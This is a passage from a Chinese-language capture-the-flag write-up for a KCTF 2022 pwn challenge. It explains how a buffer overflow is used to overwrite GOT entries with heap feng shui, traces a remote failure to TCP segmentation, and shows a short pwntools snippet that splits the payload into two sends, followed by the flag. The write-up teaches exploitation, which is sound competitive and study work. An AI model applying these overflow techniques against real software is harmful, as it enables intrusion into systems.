坏消息是,in_s->data 本身有 0x2000 的空间,如果要产生溢出,数据的长度是远远大于 0x1220 的。因此目光就转向了改 GOT 上。把 0x403000 改到 0x410000,需要 0xd000 ~ 0xe000 的长度。
并且我们还得控制:对于被覆盖的第二个 trans,只能覆盖到它的 in_s,不能破坏 trans_recv 指针——不然没得读了(trans_recv 是 libcommon 里的函数。程序本身的 plt 里面似乎没有可以替代它的)。于是一通风水,最后终于实现了在 gdb 打断点情况下的任意长度执行。
那为什么不打断点就不行呢?我切换了打断点的思路,把条件断点打在 trans_recv 之后,条件是 read_bytes > 8,8 是 header 的长度。这时,我发现 trans_recv 根本没有收齐我的 0xd000。那么原因也呼之欲出了,打了断点时,大量的数据有时间慢慢进入缓冲区,然后一次读出;不打断点,就会变成读多少是多少。
此外,一旦溢出开始覆盖结构体自身,in_s、trans_recv 等都会变化,没有第二次续传的机会。我本来还想试试用 g_sleep,后来也作罢了。
如果抓包会发现,虽然理论上 TCP 支持将近 0x10000 的长度,这些数据还是会被分到多个 TCP 报文中。也许使用 raw socket 可以解决这个问题?
其实我曾经在 IOT pwn 上遇到类似的情况,当时捣鼓过一番,最后的选择是——重新堆风水,让溢出的数据包别那么大。现在这个数据的长度是定死的,就不是风水的问题了。
出题人提到的问题“本机docker打通后,docker导出镜像,放远程直接导入镜像,打不通”,多半也是因为 TCP 分片的原因。
最后的 EXP 微调
前面提到,我解决了 popen 的本地利用问题(gdb 不用下断点也可以!),远程还没通。这个数据包的长度大约 0x2500,对于 TCP 来说还是比较大的。鉴于前面的绝大多数字节都是在为溢出做准备,他们实际上可以分开来发送,只需要最后几百字节是一次性溢出的即可。
把之前 exp 发送 payload 的几行稍微改一下,拆成两段发送,最后就成了
sep = 0x1a00
payload = payload.replace(b'SIZESIZE', p64(len(payload) - 0x10 - sep))
r.send(p32(0) + p32(0x80000001, endian='big') + payload[:sep])
r.send(payload[sep:])
FLAG:KCTF{ee43d769-ac1d-4f2e-82b3-9167ff484c8e}
https://ctf.pediy.com/game-season_fight-223.htm
球分享
球点赞
球在看
原文始发于微信公众号(看雪学苑):看雪2022 KCTF 秋季赛 | 第七题设计思路及解析